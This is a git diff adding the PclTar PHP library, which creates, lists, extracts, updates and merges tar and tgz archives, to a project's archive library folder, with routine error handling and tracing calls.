    "; + $v_message .= ""; + die($v_message); + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : PclErrorReset() + // Description : + // Parameters : + // -------------------------------------------------------------------------------- + function PclErrorReset() + { + global $g_pcl_error_string; + global $g_pcl_error_code; + + $g_pcl_error_code = 1; + $g_pcl_error_string = ""; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : PclErrorCode() + // Description : + // Parameters : + // -------------------------------------------------------------------------------- + function PclErrorCode() + { + global $g_pcl_error_string; + global $g_pcl_error_code; + + return($g_pcl_error_code); + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : PclErrorString() + // Description : + // Parameters : + // -------------------------------------------------------------------------------- + function PclErrorString() + { + global $g_pcl_error_string; + global $g_pcl_error_code; + + return($g_pcl_error_string." [code $g_pcl_error_code]"); + } + // -------------------------------------------------------------------------------- + + +// ----- End of double include look +} +?> diff --git a/lib/class/archiveLib/pcltar.lib.php b/lib/class/archiveLib/pcltar.lib.php new file mode 100755 index 0000000..7c2c184 --- /dev/null +++ b/lib/class/archiveLib/pcltar.lib.php @@ -0,0 +1,3596 @@ +"; + // -------------------------------------------------------------------------------- + function PclTarList($p_tarname, $p_mode="") + { + TrFctStart(__FILE__, __LINE__, "PclTarList", "tar=$p_tarname, mode='$p_mode'"); + $v_result=1; + + // ----- Extract the tar format from the extension + if (($p_mode == "") || (($p_mode!="tar") && ($p_mode!="tgz"))) + { + if (($p_mode = PclTarHandleExtension($p_tarname)) == "") + { + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return 0; + } + } + + // ----- Call the extracting fct + $p_list = array(); + if (($v_result = PclTarHandleExtract($p_tarname, 0, $p_list, "list", "", $p_mode, "")) != 1) + { + unset($p_list); + TrFctEnd(__FILE__, __LINE__, 0, PclErrorString()); + return(0); + } + + // ----- Return + TrFctEnd(__FILE__, __LINE__, $p_list); + return $p_list; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : PclTarExtract() + // Description : + // Extract all the files present in the archive $p_tarname, in the directory + // $p_path. The relative path of the archived files are keep and become + // relative to $p_path. + // If a file with the same name already exists it will be replaced. + // If the path to the file does not exist, it will be created. + // Depending on the $p_tarname extension (.tar, .tar.gz or .tgz) the + // function will determine the type of the archive. + // Parameters : + // $p_tarname : Name of an existing tar file. + // $p_path : Path where the files will be extracted. The files will use + // their memorized path from $p_path. + // If $p_path is "", files will be extracted in "./". + // $p_remove_path : Path to remove (from the file memorized path) while writing the + // extracted files. If the path does not match the file path, + // the file is extracted with its memorized path. + // $p_path and $p_remove_path are commulative. + // $p_mode : 'tar' or 'tgz', if not set, will be determined by $p_tarname extension + // Return Values : + // Same as PclTarList() + // -------------------------------------------------------------------------------- + function PclTarExtract($p_tarname, $p_path="./", $p_remove_path="", $p_mode="") + { + TrFctStart(__FILE__, __LINE__, "PclTarExtract", "tar='$p_tarname', path='$p_path', remove_path='$p_remove_path', mode='$p_mode'"); + $v_result=1; + + // ----- Extract the tar format from the extension + if (($p_mode == "") || (($p_mode!="tar") && ($p_mode!="tgz"))) + { + if (($p_mode = PclTarHandleExtension($p_tarname)) == "") + { + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return 0; + } + } + + // ----- Call the extracting fct + if (($v_result = PclTarHandleExtract($p_tarname, 0, $p_list, "complete", $p_path, $v_tar_mode, $p_remove_path)) != 1) + { + TrFctEnd(__FILE__, __LINE__, 0, PclErrorString()); + return(0); + } + + // ----- Return + TrFctEnd(__FILE__, __LINE__, $p_list); + return $p_list; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : PclTarExtractList() + // Description : + // Extract the files present in the archive $p_tarname and specified in + // $p_filelist, in the directory + // $p_path. The relative path of the archived files are keep and become + // relative to $p_path. + // If a directory is spécified in the list, all the files from this directory + // will be extracted. + // If a file with the same name already exists it will be replaced. + // If the path to the file does not exist, it will be created. + // Depending on the $p_tarname extension (.tar, .tar.gz or .tgz) the + // function will determine the type of the archive. + // Parameters : + // $p_tarname : Name of an existing tar file + // $p_filelist : An array containing file or directory names, or + // a string containing one filename or directory name, or + // a string containing a list of filenames and/or directory + // names separated by spaces. + // $p_path : Path where the files will be extracted. The files will use + // their memorized path from $p_path. + // If $p_path is "", files will be extracted in "./". + // $p_remove_path : Path to remove (from the file memorized path) while writing the + // extracted files. If the path does not match the file path, + // the file is extracted with its memorized path. + // $p_path and $p_remove_path are commulative. + // $p_mode : 'tar' or 'tgz', if not set, will be determined by $p_tarname extension + // Return Values : + // Same as PclTarList() + // -------------------------------------------------------------------------------- + function PclTarExtractList($p_tarname, $p_filelist, $p_path="./", $p_remove_path="", $p_mode="") + { + TrFctStart(__FILE__, __LINE__, "PclTarExtractList", "tar=$p_tarname, list, path=$p_path, remove_path='$p_remove_path', mode='$p_mode'"); + $v_result=1; + + // ----- Extract the tar format from the extension + if (($p_mode == "") || (($p_mode!="tar") && ($p_mode!="tgz"))) + { + if (($p_mode = PclTarHandleExtension($p_tarname)) == "") + { + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return 0; + } + } + + // ----- Look if the $p_filelist is really an array + if (is_array($p_filelist)) + { + // ----- Call the extracting fct + if (($v_result = PclTarHandleExtract($p_tarname, $p_filelist, $p_list, "partial", $p_path, $v_tar_mode, $p_remove_path)) != 1) + { + TrFctEnd(__FILE__, __LINE__, 0, PclErrorString()); + return(0); + } + } + + // ----- Look if the $p_filelist is a string + else if (is_string($p_filelist)) + { + // ----- Create a list with the elements from the string + $v_list = explode(" ", $p_filelist); + + // ----- Call the extracting fct + if (($v_result = PclTarHandleExtract($p_tarname, $v_list, $p_list, "partial", $p_path, $v_tar_mode, $p_remove_path)) != 1) + { + TrFctEnd(__FILE__, __LINE__, 0, PclErrorString()); + return(0); + } + } + + // ----- Invalid variable + else + { + // ----- Error log + PclErrorLog(-3, "Invalid variable type p_filelist"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return 0; + } + + // ----- Return + TrFctEnd(__FILE__, __LINE__, $p_list); + return $p_list; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : PclTarExtractIndex() + // Description : + // Extract the files present in the archive $p_tarname and specified at + // the indexes in $p_index, in the directory + // $p_path. The relative path of the archived files are keep and become + // relative to $p_path. + // If a directory is specified in the list, the directory only is created. All + // the file stored in this archive for this directory + // are not extracted. + // If a file with the same name already exists it will be replaced. + // If the path to the file does not exist, it will be created. + // Depending on the $p_tarname extension (.tar, .tar.gz or .tgz) the + // function will determine the type of the archive. + // Parameters : + // $p_tarname : Name of an existing tar file + // $p_index : A single index (integer) or a string of indexes of files to + // extract. The form of the string is "0,4-6,8-12" with only numbers + // and '-' for range or ',' to separate ranges. No spaces or ';' + // are allowed. + // $p_path : Path where the files will be extracted. The files will use + // their memorized path from $p_path. + // If $p_path is "", files will be extracted in "./". + // $p_remove_path : Path to remove (from the file memorized path) while writing the + // extracted files. If the path does not match the file path, + // the file is extracted with its memorized path. + // $p_path and $p_remove_path are commulative. + // $p_mode : 'tar' or 'tgz', if not set, will be determined by $p_tarname extension + // Return Values : + // Same as PclTarList() + // -------------------------------------------------------------------------------- + function PclTarExtractIndex($p_tarname, $p_index, $p_path="./", $p_remove_path="", $p_mode="") + { + TrFctStart(__FILE__, __LINE__, "PclTarExtractIndex", "tar=$p_tarname, index='$p_index', path=$p_path, remove_path='$p_remove_path', mode='$p_mode'"); + $v_result=1; + + // ----- Extract the tar format from the extension + if (($p_mode == "") || (($p_mode!="tar") && ($p_mode!="tgz"))) + { + if (($p_mode = PclTarHandleExtension($p_tarname)) == "") + { + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return 0; + } + } + + // ----- Look if the $p_index is really an integer + if (is_integer($p_index)) + { + // ----- Call the extracting fct + if (($v_result = PclTarHandleExtractByIndexList($p_tarname, "$p_index", $p_list, $p_path, $p_remove_path, $v_tar_mode)) != 1) + { + TrFctEnd(__FILE__, __LINE__, 0, PclErrorString()); + return(0); + } + } + + // ----- Look if the $p_filelist is a string + else if (is_string($p_index)) + { + // ----- Call the extracting fct + if (($v_result = PclTarHandleExtractByIndexList($p_tarname, $p_index, $p_list, $p_path, $p_remove_path, $v_tar_mode)) != 1) + { + TrFctEnd(__FILE__, __LINE__, 0, PclErrorString()); + return(0); + } + } + + // ----- Invalid variable + else + { + // ----- Error log + PclErrorLog(-3, "Invalid variable type $p_index"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return 0; + } + + // ----- Return + TrFctEnd(__FILE__, __LINE__, $p_list); + return $p_list; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : PclTarDelete() + // Description : + // This function deletes from the archive $p_tarname the files which are listed + // in $p_filelist. $p_filelist can be a string with file names separated by + // spaces, or an array containing the file names. + // Parameters : + // $p_tarname : Name of an existing tar file + // $p_filelist : An array or a string containing file names to remove from the + // archive. + // $p_mode : 'tar' or 'tgz', if not set, will be determined by $p_tarname extension + // Return Values : + // List of the files which are kept in the archive (same format as PclTarList()) + // -------------------------------------------------------------------------------- + function PclTarDelete($p_tarname, $p_filelist, $p_mode="") + { + TrFctStart(__FILE__, __LINE__, "PclTarDelete", "tar='$p_tarname', list='$p_filelist', mode='$p_mode'"); + $v_result=1; + + // ----- Extract the tar format from the extension + if (($p_mode == "") || (($p_mode!="tar") && ($p_mode!="tgz"))) + { + if (($p_mode = PclTarHandleExtension($p_tarname)) == "") + { + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return 0; + } + } + + // ----- Look if the $p_filelist is really an array + if (is_array($p_filelist)) + { + // ----- Call the extracting fct + if (($v_result = PclTarHandleDelete($p_tarname, $p_filelist, $p_list, $p_mode)) != 1) + { + TrFctEnd(__FILE__, __LINE__, 0, PclErrorString()); + return(0); + } + } + + // ----- Look if the $p_filelist is a string + else if (is_string($p_filelist)) + { + // ----- Create a list with the elements from the string + $v_list = explode(" ", $p_filelist); + + // ----- Call the extracting fct + if (($v_result = PclTarHandleDelete($p_tarname, $v_list, $p_list, $p_mode)) != 1) + { + TrFctEnd(__FILE__, __LINE__, 0, PclErrorString()); + return(0); + } + } + + // ----- Invalid variable + else + { + // ----- Error log + PclErrorLog(-3, "Invalid variable type p_filelist"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return 0; + } + + // ----- Return + TrFctEnd(__FILE__, __LINE__, $p_list); + return $p_list; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : PclTarUpdate() + // Description : + // This function updates the files in $p_filelist which are already in the + // $p_tarname archive with an older last modified date. If the file does not + // exist, it is added at the end of the archive. + // Parameters : + // $p_tarname : Name of an existing tar file + // $p_filelist : An array or a string containing file names to update from the + // archive. + // $p_mode : 'tar' or 'tgz', if not set, will be determined by $p_tarname extension + // Return Values : + // List of the files contained in the archive. The field status contains + // "updated", "not_updated", "added" or "ok" for the files not concerned. + // -------------------------------------------------------------------------------- + function PclTarUpdate($p_tarname, $p_filelist, $p_mode="", $p_add_dir="", $p_remove_dir="") + { + TrFctStart(__FILE__, __LINE__, "PclTarUpdate", "tar='$p_tarname', list='$p_filelist', mode='$p_mode'"); + $v_result=1; + + // ----- Extract the tar format from the extension + if (($p_mode == "") || (($p_mode!="tar") && ($p_mode!="tgz"))) + { + if (($p_mode = PclTarHandleExtension($p_tarname)) == "") + { + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return 0; + } + } + + // ----- Look if the $p_filelist is really an array + if (is_array($p_filelist)) + { + // ----- Call the extracting fct + if (($v_result = PclTarHandleUpdate($p_tarname, $p_filelist, $p_list, $p_mode, $p_add_dir, $p_remove_dir)) != 1) + { + TrFctEnd(__FILE__, __LINE__, 0, PclErrorString()); + return(0); + } + } + + // ----- Look if the $p_filelist is a string + else if (is_string($p_filelist)) + { + // ----- Create a list with the elements from the string + $v_list = explode(" ", $p_filelist); + + // ----- Call the extracting fct + if (($v_result = PclTarHandleUpdate($p_tarname, $v_list, $p_list, $p_mode, $p_add_dir, $p_remove_dir)) != 1) + { + TrFctEnd(__FILE__, __LINE__, 0, PclErrorString()); + return(0); + } + } + + // ----- Invalid variable + else + { + // ----- Error log + PclErrorLog(-3, "Invalid variable type p_filelist"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return 0; + } + + // ----- Return + TrFctEnd(__FILE__, __LINE__, $p_list); + return $p_list; + } + // -------------------------------------------------------------------------------- + + + // -------------------------------------------------------------------------------- + // Function : PclTarMerge() + // Description : + // This function add the content of $p_tarname_add at the end of $p_tarname. + // Parameters : + // $p_tarname : Name of an existing tar file + // $p_tarname_add : Name of an existing tar file taht will be added at the end + // of $p_tarname. + // $p_mode : 'tar' or 'tgz', if not set, will be determined by $p_tarname extension + // $p_mode_add : 'tar' or 'tgz', if not set, will be determined by $p_tarname_add + // extension + // Return Values : + // List of the files contained in the archive. The field status contains + // "updated", "not_updated", "added" or "ok" for the files not concerned. + // -------------------------------------------------------------------------------- + function PclTarMerge($p_tarname, $p_tarname_add, $p_mode="", $p_mode_add="") + { + TrFctStart(__FILE__, __LINE__, "PclTarMerge", "tar='$p_tarname', tar_add='$p_tarname_add', mode='$p_mode', mode_add='$p_mode_add'"); + $v_result=1; + + // ----- Check the parameters + if (($p_tarname == "") || ($p_tarname_add == "")) + { + // ----- Error log + PclErrorLog(-3, "Invalid empty archive name"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Extract the tar format from the extension + if (($p_mode == "") || (($p_mode!="tar") && ($p_mode!="tgz"))) + { + if (($p_mode = PclTarHandleExtension($p_tarname)) == "") + { + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return 0; + } + } + if (($p_mode_add == "") || (($p_mode_add!="tar") && ($p_mode_add!="tgz"))) + { + if (($p_mode_add = PclTarHandleExtension($p_tarname_add)) == "") + { + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return 0; + } + } + + // ----- Clear filecache + clearstatcache(); + + // ----- Check the file size + if ((!is_file($p_tarname)) || + (((($v_size = filesize($p_tarname)) % 512) != 0) && ($p_mode=="tar"))) + { + // ----- Error log + if (!is_file($p_tarname)) + PclErrorLog(-4, "Archive '$p_tarname' does not exist"); + else + PclErrorLog(-6, "Archive '$p_tarname' has invalid size ".filesize($p_tarname)."(not a 512 block multiple)"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + if ((!is_file($p_tarname_add)) || + (((($v_size_add = filesize($p_tarname_add)) % 512) != 0) && ($p_mode_add=="tar"))) + { + // ----- Error log + if (!is_file($p_tarname_add)) + PclErrorLog(-4, "Archive '$p_tarname_add' does not exist"); + else + PclErrorLog(-6, "Archive '$p_tarname_add' has invalid size ".filesize($p_tarname_add)."(not a 512 block multiple)"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Look for compressed archive + if ($p_mode == "tgz") + { + // ----- Open the file in read mode + if (($p_tar = @gzopen($p_tarname, "rb")) == 0) + { + // ----- Error log + PclErrorLog(-2, "Unable to open file '$p_tarname' in binary read mode"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Open a temporary file in write mode + $v_temp_tarname = PCLTAR_TEMPORARY_DIR.uniqid("pcltar-").".tmp";//add by warlee; + TrFctMessage(__FILE__, __LINE__, 2, "Creating temporary archive file $v_temp_tarname"); + if (($v_temp_tar = @gzopen($v_temp_tarname, "wb")) == 0) + { + // ----- Close tar file + gzclose($p_tar); + + // ----- Error log + PclErrorLog(-1, "Unable to open file '$v_temp_tarname' in binary write mode"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Read the first 512 bytes block + $v_buffer = gzread($p_tar, 512); + + // ----- Read the following blocks but not the last one + if (!gzeof($p_tar)) + { + TrFctMessage(__FILE__, __LINE__, 3, "More than one 512 block file"); + $i=1; + + // ----- Read new 512 block and write the already read + do{ + // ----- Write the already read block + $v_binary_data = pack("a512", "$v_buffer"); + gzputs($v_temp_tar, $v_binary_data); + + $i++; + TrFctMessage(__FILE__, __LINE__, 3, "Reading block $i"); + + // ----- Read next block + $v_buffer = gzread($p_tar, 512); + + } while (!gzeof($p_tar)); + + TrFctMessage(__FILE__, __LINE__, 3, "$i 512 bytes blocks"); + } + } + + // ----- Look for uncompressed tar file + else if ($p_mode=="tar") + { + // ----- Open the tar file + if (($p_tar = fopen($p_tarname, "r+b")) == 0) + { + // ----- Error log + PclErrorLog(-1, "Unable to open file '$p_tarname' in binary write mode"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Go to the beginning of last block + TrFctMessage(__FILE__, __LINE__, 4, "Position before :".($p_mode=="tar"?ftell($p_tar):gztell($p_tar))); + fseek($p_tar, $v_size-512); + TrFctMessage(__FILE__, __LINE__, 4, "Position after :".($p_mode=="tar"?ftell($p_tar):gztell($p_tar))); + } + + // ----- Look for unknown type + else + { + // ----- Error log + PclErrorLog(-3, "Invalid tar mode $p_mode"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Look for type of archive to add + if ($p_mode_add == "tgz") + { + TrFctMessage(__FILE__, __LINE__, 4, "Opening file $p_tarname_add"); + + // ----- Open the file in read mode + if (($p_tar_add = @gzopen($p_tarname_add, "rb")) == 0) + { + // ----- Error log + PclErrorLog(-2, "Unable to open file '$p_tarname_add' in binary read mode"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Read the first 512 bytes block + $v_buffer = gzread($p_tar_add, 512); + + // ----- Read the following blocks but not the last one + if (!gzeof($p_tar_add)) + { + TrFctMessage(__FILE__, __LINE__, 3, "More than one 512 block file"); + $i=1; + + // ----- Read new 512 block and write the already read + do{ + // ----- Write the already read block + $v_binary_data = pack("a512", "$v_buffer"); + if ($p_mode=="tar") + fputs($p_tar, $v_binary_data); + else + gzputs($v_temp_tar, $v_binary_data); + + $i++; + TrFctMessage(__FILE__, __LINE__, 3, "Reading block $i"); + + // ----- Read next block + $v_buffer = gzread($p_tar_add, 512); + + } while (!gzeof($p_tar_add)); + + TrFctMessage(__FILE__, __LINE__, 3, "$i 512 bytes blocks"); + } + + // ----- Close the files + gzclose($p_tar_add); + } + + // ----- Look for uncompressed tar file + else if ($p_mode=="tar") + { + // ----- Open the file in read mode + if (($p_tar_add = @fopen($p_tarname_add, "rb")) == 0) + { + // ----- Error log + PclErrorLog(-2, "Unable to open file '$p_tarname_add' in binary read mode"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Read the first 512 bytes block + $v_buffer = fread($p_tar_add, 512); + + // ----- Read the following blocks but not the last one + if (!feof($p_tar_add)) + { + TrFctMessage(__FILE__, __LINE__, 3, "More than one 512 block file"); + $i=1; + + // ----- Read new 512 block and write the already read + do{ + // ----- Write the already read block + $v_binary_data = pack("a512", "$v_buffer"); + if ($p_mode=="tar") + fputs($p_tar, $v_binary_data); + else + gzputs($v_temp_tar, $v_binary_data); + + $i++; + TrFctMessage(__FILE__, __LINE__, 3, "Reading block $i"); + + // ----- Read next block + $v_buffer = fread($p_tar_add, 512); + + } while (!feof($p_tar_add)); + + TrFctMessage(__FILE__, __LINE__, 3, "$i 512 bytes blocks"); + } + + // ----- Close the files + fclose($p_tar_add); + } + + // ----- Call the footer of the tar archive + $v_result = PclTarHandleFooter($p_tar, $p_mode); + + // ----- Look for closing compressed archive + if ($p_mode == "tgz") + { + // ----- Close the files + gzclose($p_tar); + gzclose($v_temp_tar); + + // ----- Unlink tar file + if (!@unlink($p_tarname)) + { + // ----- Error log + PclErrorLog(-11, "Error while deleting archive name $p_tarname"); + } + + // ----- Rename tar file + if (!@rename($v_temp_tarname, $p_tarname)) + { + // ----- Error log + PclErrorLog(-12, "Error while renaming temporary file $v_temp_tarname to archive name $p_tarname"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Return + TrFctEnd(__FILE__, __LINE__, $v_result); + return $v_result; + } + + // ----- Look for closing uncompressed tar file + else if ($p_mode=="tar") + { + // ----- Close the tarfile + fclose($p_tar); + } + + // ----- Return + TrFctEnd(__FILE__, __LINE__, $v_result); + return $v_result; + } + // -------------------------------------------------------------------------------- + + +// -------------------------------------------------------------------------------- +// ***** UNDER THIS LINE ARE DEFINED PRIVATE INTERNAL FUNCTIONS ***** +// ***** ***** +// ***** THESES FUNCTIONS MUST NOT BE USED DIRECTLY ***** +// -------------------------------------------------------------------------------- + + + + // -------------------------------------------------------------------------------- + // Function : PclTarHandleCreate() + // Description : + // Parameters : + // $p_tarname : Name of the tar file + // $p_list : An array containing the file or directory names to add in the tar + // $p_mode : "tar" for normal tar archive, "tgz" for gzipped tar archive + // Return Values : + // -------------------------------------------------------------------------------- + function PclTarHandleCreate($p_tarname, $p_list, $p_mode, $p_add_dir="", $p_remove_dir="") + { + TrFctStart(__FILE__, __LINE__, "PclTarHandleCreate", "tar=$p_tarname, list, mode=$p_mode, add_dir='$p_add_dir', remove_dir='$p_remove_dir'"); + $v_result=1; + $v_list_detail = array(); + + // ----- Check the parameters + if (($p_tarname == "") || (($p_mode != "tar") && ($p_mode != "tgz"))) + { + // ----- Error log + if ($p_tarname == "") + PclErrorLog(-3, "Invalid empty archive name"); + else + PclErrorLog(-3, "Unknown mode '$p_mode'"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Look for tar file + if ($p_mode == "tar") + { + // ----- Open the tar file + if (($p_tar = fopen($p_tarname, "wb")) == 0) + { + // ----- Error log + PclErrorLog(-1, "Unable to open file [$p_tarname] in binary write mode"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Call the adding fct inside the tar + if (($v_result = PclTarHandleAddList($p_tar, $p_list, $p_mode, $v_list_detail, $p_add_dir, $p_remove_dir)) == 1) + { + // ----- Call the footer of the tar archive + $v_result = PclTarHandleFooter($p_tar, $p_mode); + } + + // ----- Close the tarfile + fclose($p_tar); + } + // ----- Look for tgz file + else + { + // ----- Open the tar file + if (($p_tar = @gzopen($p_tarname, "wb")) == 0) + { + // ----- Error log + PclErrorLog(-1, "Unable to open file [$p_tarname] in binary write mode"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Call the adding fct inside the tar + if (($v_result = PclTarHandleAddList($p_tar, $p_list, $p_mode, $v_list_detail, $p_add_dir, $p_remove_dir)) == 1) + { + // ----- Call the footer of the tar archive + $v_result = PclTarHandleFooter($p_tar, $p_mode); + } + + // ----- Close the tarfile + gzclose($p_tar); + } + + // ----- Return + TrFctEnd(__FILE__, __LINE__, $v_result); + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : PclTarHandleAppend() + // Description : + // Parameters : + // $p_tarname : Name of the tar file + // $p_list : An array containing the file or directory names to add in the tar + // $p_mode : "tar" for normal tar archive, "tgz" for gzipped tar archive + // Return Values : + // -------------------------------------------------------------------------------- + function PclTarHandleAppend($p_tarname, $p_list, $p_mode, &$p_list_detail, $p_add_dir, $p_remove_dir) + { + TrFctStart(__FILE__, __LINE__, "PclTarHandleAppend", "tar=$p_tarname, list, mode=$p_mode"); + $v_result=1; + + // ----- Check the parameters + if ($p_tarname == "") + { + // ----- Error log + PclErrorLog(-3, "Invalid empty archive name"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + clearstatcache(); + + // ----- Check the file size + if ((!is_file($p_tarname)) || + (((($v_size = filesize($p_tarname)) % 512) != 0) && ($p_mode=="tar"))) + { + // ----- Error log + if (!is_file($p_tarname)) + PclErrorLog(-4, "Archive '$p_tarname' does not exist"); + else + PclErrorLog(-6, "Archive '$p_tarname' has invalid size ".filesize($p_tarname)."(not a 512 block multiple)"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Look for compressed archive + if ($p_mode == "tgz") + { + // ----- Open the file in read mode + if (($p_tar = @gzopen($p_tarname, "rb")) == 0) + { + // ----- Error log + PclErrorLog(-2, "Unable to open file '$p_tarname' in binary read mode"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Open a temporary file in write mode + $v_temp_tarname = PCLTAR_TEMPORARY_DIR.uniqid("pcltar-").".tmp";//add by warlee; + TrFctMessage(__FILE__, __LINE__, 2, "Creating temporary archive file $v_temp_tarname"); + if (($v_temp_tar = @gzopen($v_temp_tarname, "wb")) == 0) + { + // ----- Close tar file + gzclose($p_tar); + + // ----- Error log + PclErrorLog(-1, "Unable to open file '$v_temp_tarname' in binary write mode"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Read the first 512 bytes block + $v_buffer = gzread($p_tar, 512); + + // ----- Read the following blocks but not the last one + if (!gzeof($p_tar)) + { + TrFctMessage(__FILE__, __LINE__, 3, "More than one 512 block file"); + $i=1; + + // ----- Read new 512 block and write the already read + do{ + // ----- Write the already read block + $v_binary_data = pack("a512", "$v_buffer"); + gzputs($v_temp_tar, $v_binary_data); + + $i++; + TrFctMessage(__FILE__, __LINE__, 3, "Reading block $i"); + + // ----- Read next block + $v_buffer = gzread($p_tar, 512); + + } while (!gzeof($p_tar)); + + TrFctMessage(__FILE__, __LINE__, 3, "$i 512 bytes blocks"); + } + + // ----- Call the adding fct inside the tar + if (($v_result = PclTarHandleAddList($v_temp_tar, $p_list, $p_mode, $p_list_detail, $p_add_dir, $p_remove_dir)) == 1) + { + // ----- Call the footer of the tar archive + $v_result = PclTarHandleFooter($v_temp_tar, $p_mode); + } + + // ----- Close the files + gzclose($p_tar); + gzclose($v_temp_tar); + + // ----- Unlink tar file + if (!@unlink($p_tarname)) + { + // ----- Error log + PclErrorLog(-11, "Error while deleting archive name $p_tarname"); + } + + // ----- Rename tar file + if (!@rename($v_temp_tarname, $p_tarname)) + { + // ----- Error log + PclErrorLog(-12, "Error while renaming temporary file $v_temp_tarname to archive name $p_tarname"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Return + TrFctEnd(__FILE__, __LINE__, $v_result); + return $v_result; + } + + // ----- Look for uncompressed tar file + else if ($p_mode=="tar") + { + // ----- Open the tar file + if (($p_tar = fopen($p_tarname, "r+b")) == 0) + { + // ----- Error log + PclErrorLog(-1, "Unable to open file '$p_tarname' in binary write mode"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Go to the beginning of last block + TrFctMessage(__FILE__, __LINE__, 4, "Position before :".($p_mode=="tar"?ftell($p_tar):gztell($p_tar))); + fseek($p_tar, $v_size-512); + TrFctMessage(__FILE__, __LINE__, 4, "Position after :".($p_mode=="tar"?ftell($p_tar):gztell($p_tar))); + + // ----- Call the adding fct inside the tar + if (($v_result = PclTarHandleAddList($p_tar, $p_list, $p_mode, $p_list_detail, $p_add_dir, $p_remove_dir)) == 1) + { + // ----- Call the footer of the tar archive + $v_result = PclTarHandleFooter($p_tar, $p_mode); + } + + // ----- Close the tarfile + fclose($p_tar); + } + + // ----- Look for unknown type + else + { + // ----- Error log + PclErrorLog(-3, "Invalid tar mode $p_mode"); + + // ----- Return + TrFctEnd(__FILE__, __LINE__, PclErrorCode(), PclErrorString()); + return PclErrorCode(); + } + + // ----- Return + TrFctEnd(__FILE__, __LINE__, $v_result); + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : PclTarHandleAddList() + // Description : + // $p_add_dir and $p_remove_dir will give the ability to memorize a path which is + // different from the real path of the file. This is usefull if you want to have PclTar + // running in any directory, and memorize relative path from an other directory. + // Parameters : + // $p_tar : File descriptor of the tar archive + // $p_list : An array containing the file or directory names to add in the tar + // $p_mode : "tar" for normal tar archive, "tgz" for gzipped tar archive + // $p_list_detail : list of added files with their properties (specially the status field) + // $p_add_dir : Path to add in the filename path archived + // $p_remove_dir : Path to remove in the filename path archived + // Return Values : + // -------------------------------------------------------------------------------- + function PclTarHandleAddList($p_tar, $p_list, $p_mode, &$p_list_detail, $p_add_dir, $p_remove_dir) + { + TrFctStart(__FILE__, __LINE__, "PclTarHandleAddList", "tar='$p_tar', list, mode='$p_mode', add_dir='$p_add_dir', remove_dir='$p_remove_dir'"); + $v_result=1; + $v_header = array(); + + // ----- Recuperate the current number of elt in list + $v_nb = sizeof($p_list_detail); + + // ----- Check the 